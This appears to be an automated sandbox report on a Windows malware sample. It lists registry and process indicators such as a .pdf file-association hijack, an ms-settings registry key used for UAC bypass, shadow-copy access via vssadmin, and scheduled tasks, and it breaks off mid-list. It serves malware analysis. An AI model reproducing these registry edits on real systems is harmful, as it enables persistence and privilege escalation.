\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6488 NETSTAT.EXE 4208 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 6304 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3268 vssadmin.exe 4904 vssadmin.exe 6636 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134280567380304028" chrome.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey svchost.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey svchost.exe Key created \REGISTRY\USER\S-1-5-19 svchost.exe - Modifies registry class 54 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell\open 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-515251955-468707340-1782030364-1000\{24C335DB-74DA-449C-ACC1-1546C9298988} explorer.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell\open\command 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (data) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell\open\command 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-515251955-468707340-1782030364-1000\{3B49B9C0-EB41-4752-A4D9-51BBAD7D62FC} explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key deleted \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell\open 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Key deleted \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000_Classes\ms-settings\shell 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3424 schtasks.exe 3556 schtasks.exe 2780 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4080 chrome.exe 4080 chrome.exe 5512 powershell.exe 5512 powershell.exe 5512 powershell.exe 5404 WMIC.exe 5404 WMIC.exe 5404 WMIC.exe 5404 WMIC.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 6440 WMIC.exe 6440 WMIC.exe 6440 WMIC.exe 6440 WMIC.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 6608 WMIC.exe 6608 WMIC.exe 6608 WMIC.exe 6608 WMIC.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 5600 